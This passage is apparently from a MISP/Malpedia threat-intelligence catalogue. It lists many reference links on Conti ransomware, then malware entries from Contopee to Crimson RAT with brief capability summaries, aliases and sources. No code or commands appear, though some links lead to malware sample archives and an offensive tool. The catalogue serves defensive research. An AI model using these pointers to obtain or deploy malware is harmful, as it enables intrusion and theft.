https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf

http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti

https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/

https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf

https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf

https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider

https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again

https://thehackernews.com/2022/05/malware-analysis-trickbot.html

https://twitter.com/AltShiftPrtScn/status/1423188974298861571

https://www.shadowbanker.io/2025/05/shadow-banker-makes-glorious-return-interviews-guy-exposing-conti-command-control/

https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/

https://redcanary.com/blog/intelligence-insights-november-2021/

https://www.0ffset.net/reverse-engineering/capstone-resolving-stack-strings/

https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf

https://github.com/cdong1012/ContiUnpacker

https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups

https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/

https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/

https://github.com/TheParmak/conti-leaks-englished

https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/

https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/

https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding

https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html

https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf

https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/

https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/

https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir

https://unit42.paloaltonetworks.com/conti-ransomware-gang/

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://damonmccoy.com/papers/Ransomware_eCrime22.pdf

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

https://thedfirreport.com/2021/12/13/diavol-ransomware/

https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1

https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/

https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/

https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/

https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/

https://www.crowdstrike.com/blog/wizard-spider-adversary-update/

https://intel471.com/blog/conti-leaks-cybercrime-fire-team

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html

https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger

https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti

https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/

https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/

https://www.ic3.gov/Media/News/2021/210521.pdf

https://twitter.com/AltShiftPrtScn/status/1417849181012647938

https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks

https://www.mbsd.jp/research/20210413/conti-ransomware/

https://intel471.com/blog/conti-emotet-ransomware-conti-leaks

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months

https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573

https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html

https://us-cert.cisa.gov/ncas/alerts/aa21-265a

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf

https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love

https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide

https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/

https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/

https://nattothoughts.substack.com/p/ransom-war-russian-extortion-operations
https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve
https://www.s-rminform.com/cyber-intelligence-briefing/exmatter-malware-levels-up
https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement
https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/
https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed
https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/
https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/
https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/
https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/
https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru
https://www.ironnet.com/blog/ransomware-graphic-blog
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/
https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.youtube.com/watch?v=hmaWy9QIC7c
https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/
https://www.justice.gov/opa/pr/multiple-foreign-nationals-charged-connection-trickbot-malware-and-conti-ransomware
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures
https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/
https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://share.vx-underground.org/Conti/

https://intel471.com/blog/shipping-companies-ransomware-credentials

https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/

https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles

https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/

https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/

https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/

https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf

https://cocomelonc.github.io/malware/2023/02/10/malware-analysis-8.html

https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html

https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/

https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf

https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/

https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/

https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65

https://github.com/whichbuffer/Conti-Ransomware-IOC

https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74

https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd

https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b
https://thedfirreport.com/2021/05/12/conti-ransomware/
https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://twitter.com/AltShiftPrtScn/status/1350755169965924352
https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems
https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/
https://arcticwolf.com/resources/blog/karakurt-web

Contopee

FireEye described this malware as a proxy-aware backdoor that communicates using a custom-encrypted binary protocol. It may use the registry to store optional configuration data. The backdoor has been observed to support 26 commands that include directory traversal, file system manipulation, data archival and transmission, and command execution.

The tag is: *misp-galaxy:malpedia="Contopee"*

Contopee is also known as:

- WHITEOUT

Table 3536. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee
https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks
https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks
https://content.fireeye.com/apt/rpt-apt38

CookieBag

The tag is: *misp-galaxy:malpedia="CookieBag"*

CookieBag is also known as:

Table 3537. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

CopperStealth

According to Trend Micro, CopperStealth's infection chain involves dropping and loading a rootkit, which later injects its payload into explorer.exe and another system process. These payloads are responsible for downloading and running additional tasks. The rootkit also blocks access to blocklisted registry keys and prevents certain executables and drivers from running. The task module is able to download and run additional payloads.

The tag is: *misp-galaxy:malpedia="CopperStealth"*

CopperStealth is also known as:

Table 3538. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.copperstealth
https://www.trendmicro.com/en_us/research/23/e/water-orthrus-new-campaigns-deliver-rootkit-and-phishing-modules.html

CopperStealer

According to PCRIsk, CopperStealer, also known as Mingloa, is a malicious program designed to steal sensitive/personal information. It also has the capability to cause chain infections (i.e., download/install additional malware).

Significant activity of CopperStealer has been observed in Brazil, India, Indonesia, Pakistan, and the Philippines. At the time of research, this malware had been noted being spread via websites offering illegal activation tools ("cracks") for licensed software products.

The tag is: *misp-galaxy:malpedia="CopperStealer"*

CopperStealer is also known as:

- Mingloa

Table 3539. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.copper_stealer
https://www.trendmicro.com/en_us/research/22/h/copperstealer-distributes-malicious-chromium-browser-extension-steal-cryptocurrencies.html
https://www.trendmicro.com/en_us/research/23/e/water-orthrus-new-campaigns-deliver-rootkit-and-phishing-modules.html
https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft

Corebot

The tag is: *misp-galaxy:malpedia="Corebot"*

Corebot is also known as:

Table 3540. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/
https://www.youtube.com/watch?v=kifEqpRoZns
https://www.crowdstrike.com/blog/ecrime-ecosystem/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf

CoreDN

The tag is: *misp-galaxy:malpedia="CoreDN"*

CoreDN is also known as:

Table 3541. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/
https://blog.alyac.co.kr/2105
https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html
https://www.symantec.com/security-center/writeup/2018-021216-4405-99#technicaldescription

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#atricle-content

Coreshell

The tag is: *misp-galaxy:malpedia="Coreshell"*

Coreshell is also known as:

- SOURFACE

Table 3542. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
http://malware.prevenity.com/2014/08/malware-info.html
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

CoronaVirus Ransomware

The tag is: *misp-galaxy:malpedia="CoronaVirus Ransomware"*

CoronaVirus Ransomware is also known as:

- CoronaVirus Cover-Ransomware

Table 3543. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware
https://id-ransomware.blogspot.com/2020/03/coronavirus-ransomware.html

CosmicDuke

The tag is: *misp-galaxy:malpedia="CosmicDuke"*

CosmicDuke is also known as:

Table 3544. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke

https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/
https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf
https://cocomelonc.github.io/malware/2025/05/10/malware-tricks-47.html

Cotx RAT

The tag is: *misp-galaxy:malpedia="Cotx RAT"*

Cotx RAT is also known as:

Table 3545. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx
https://vblocalhost.com/uploads/VB2020-20.pdf
https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology
https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf
https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/
https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf

CountLoader

According to Silent Push, this malware exists in multiple versions, including .NET, PowerShell, and JScript. They believe it is part of an IAB toolset or used by a affiliate with ties to LockBit, BlackBasta, and Qilin ransomware groups. CountLoader was also recently used in a PDF-based phishing lure targeting individuals in Ukraine, in a campaign that impersonated the Ukrainian police.

The tag is: *misp-galaxy:malpedia="CountLoader"*

CountLoader is also known as:

Table 3546. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.count_loader
https://www.silentpush.com/blog/countloader/

Cova

The tag is: *misp-galaxy:malpedia="Cova"*

Cova is also known as:

Table 3547. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cova
https://www.bitsight.com/blog/cova-and-nosu-new-loader-spreads-new-stealer

Covicli

Covicli is a modified SSLeay32 dynamic library designated as a backdoor. The dynamic library allows the attacker to communicate with the C2 over openSSL.

The tag is: *misp-galaxy:malpedia="Covicli"*

Covicli is also known as:

- Covically

Table 3548. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.covicli
https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf

Covid22

Destructive "joke" malware that ultimately deploys a wiper for the MBR.

The tag is: *misp-galaxy:malpedia="Covid22"*

Covid22 is also known as:

Table 3549. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22
https://www.fortinet.com/blog/threat-research/to-joke-or-not-to-joke-covid-22-brings-disaster-to-mbr

CoViper

PCRisk notes that CoViper is yet another Coronavirus/COVID-19-themed malware infection, most likely proliferated as a file related to the pandemic. It operates by rewriting the system Master Boot Record (MBR). It does not delete the original, but rather creates a backup and replaces it with a custom MBR.

Typically, malicious software that modifies MBRs do so to prevent the Operating System (OS) from being booted (i.e., started). It also displays a screen-encompassing message, often containing a ransom message - this disables user access to the device.

The tag is: *misp-galaxy:malpedia="CoViper"*

CoViper is also known as:

Table 3550. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.coviper
https://decoded.avast.io/janrubin/coviper-locking-down-computers-during-lockdown/
https://tccontre.blogspot.com/2020/04/covid19-malware-analysis-with-kill-mbr.html

COZYDUKE

CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around a core backdoor component. This component can be instructed by the C&C server to download and execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array of functionality. Known CozyDuke modules include: • Command execution module for executing arbitrary Windows Command Prompt commands • Password stealer module • NT LAN Manager (NTLM) hash stealer module • System information gathering module • Screenshot module

The tag is: *misp-galaxy:malpedia="COZYDUKE"*

COZYDUKE is also known as:

- Cozer
- CozyBear
- CozyCar
- EuroAPT

Table 3551. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cozyduke
https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf

https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html

CrackedCantil

According to ANY.RUN, this is a dropper for win.privateloader and its execution will lead to a cascade of downloads with a large variety of additional malware. The families include more loaders, information stealers, cryptominers, a proxy bot, and ultimately also ransomware. The execution order is orchestrated, e.g. as in data is stolen and exfiltrated before encryption. It is distributed through advertized cracked software, e.g. IDA Pro.

The tag is: *misp-galaxy:malpedia="CrackedCantil"*

CrackedCantil is also known as:

Table 3552. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crackedcantil
https://otx.alienvault.com/pulse/65ba54eeaea0fcd931ff3b3b/
https://thehackernews.com/2024/02/beware-fake-facebook-job-ads-spreading.html?m=1
https://www.pcrisk.com/removal-guides/28989-crackedcantil-malware
https://gridinsoft.com/blogs/crackedcantil-dropper-malware/
https://www.infostealers.com/article/crackedcantil-a-malware-symphony-breakdown/
https://xfe-integration.xforce.ibm.com/osint/guid:f8f1276c350a70b7b543990e4fb53a76
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://www.cloudsek.com/blog/from-discussion-forums-to-malware-mayhem-the-alarming-rise-of-abuse-on-google-groups-and-usenet
https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/CrackedCantil-a-malware-symphony-delivered-by-cracked-software-performed-by-loaders-infostealers-ransomware-et-al.pdf
https://g0njxa.medium.com/privateloader-installskey-rewind-2023-c1ce027cbe65

crackshot

CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state.

The tag is: *misp-galaxy:malpedia="crackshot"*

crackshot is also known as:

Table 3553. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.crackshot
https://content.fireeye.com/apt-41/rpt-apt41/

CradleCore

The tag is: *misp-galaxy:malpedia="CradleCore"*

CradleCore is also known as:

Table 3554. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore

CRAT

According to Cisco Talos, CRAT is a remote access trojan with plugin capabilites, used by Lazarus since at least May 2020.

The tag is: *misp-galaxy:malpedia="CRAT"*

CRAT is also known as:

Table 3555. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crat
https://suspected.tistory.com/269
https://blog.talosintelligence.com/2020/11/crat-and-plugins.html
https://www.secrss.com/articles/18635
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://mp.weixin.qq.com/s/2sV-DrleHiJMSpSCW0kAMg

CREAMSICLE

The tag is: *misp-galaxy:malpedia="CREAMSICLE"*

CREAMSICLE is also known as:

Table 3556. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.creamsicle
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

CreateHiddenAccount

A tool that implements the creation of a hidden account on Windows through cloning accounts via the Registry.

The tag is: *misp-galaxy:malpedia="CreateHiddenAccount"*

CreateHiddenAccount is also known as:

Table 3557. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.create_hidden_account
https://asec.ahnlab.com/en/85942/
https://github.com/wgpsec/CreateHiddenAccount
https://asec.ahnlab.com/en/40394/

CredoMap

The tag is: *misp-galaxy:malpedia="CredoMap"*

CredoMap is also known as:

Table 3558. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.credomap
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://github.com/blackorbird/APT_REPORT/blob/master/APT28/APT28%20the%20long%20hand%20of%20Russian%20interests.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cert.gov.ua/article/341128
https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html
https://securityscorecard.com/research/apt28s-stealer-called-credomap

Credraptor

The tag is: *misp-galaxy:malpedia="Credraptor"*

Credraptor is also known as:

Table 3559. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

CreepySnail

The tag is: *misp-galaxy:malpedia="CreepySnail"*

CreepySnail is also known as:

Table 3560. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.creepysnail
https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/

CreepExfil

The tag is: *misp-galaxy:malpedia="CreepExfil"*

CreepExfil is also known as:

Table 3561. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.creep_exfil
https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/

Crenufs

The tag is: *misp-galaxy:malpedia="Crenufs"*

Crenufs is also known as:

Table 3562. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs

Crimson RAT

It was first discovered in 2017 and has since been used to attack organizations around the world. The malware is often distributed through phishing emails or by exploiting vulnerabilities in outdated security software. Once Crimson RAT is installed on a computer, it can be used to steal data, spy on users, and even take control of the infected computers.

Some of the features of Crimson RAT include:

Remote control of infected computers Data theft, such as passwords, files, and emails User spying Takeover of infected computers Locking of infected computers Extortion of payments

The tag is: *misp-galaxy:malpedia="Crimson RAT"*

Crimson RAT is also known as:

- SEEDOOR
- Scarimson

Table 3563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson
https://blog.yoroi.company/research/transparent-tribe-four-years-later
https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf
https://team-cymru.com/blog/2021/07/02/transparent-tribe-apt-infrastructure-mapping-2/
https://twitter.com/katechondic/status/1502206599166939137
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1
https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack
https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html
https://s.tencent.com/research/report/669.html
https://www.seqrite.com/blog/advisory-pahalgam-attack-themed-decoys-used-by-apt36-to-target-the-indian-government/
https://twitter.com/teamcymru/status/1351228309632385027
https://labs.k7computing.com/index.php/threat-actors-target-recent-election-results/
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF
https://www.microsoft.com/en-us/security/blog/2024/12/04/frequent-freeloader-part-i-secret-blizzard-compromising-storm-0156-infrastructure-for-espionage/
https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ
https://anchorednarratives.substack.com/p/trouble-in-asia-and-the-middle-east
https://www.secureworks.com/research/threat-profiles/copper-fieldstone
https://securelist.com/transparent-tribe-part-1/98127/
https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg
https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/
https://www.secrss.com/articles/24995
https://www.seqrite.com/blog/pakistani-apts-escalate-attacks-on-indian-gov-seqrite-labs-unveils-threats-and-connections/
https://www.4hou.com/posts/vLzM
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.seqrite.com/blog/operation-honey-trap-apt36-targets-defense-organizations-in-india/
https://twitter.com/teamcymru_S2/status/1501955802025836546
https://brandefense.io/blog/apt-36-campaign-poseidon-malware-technical-analysis/
https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
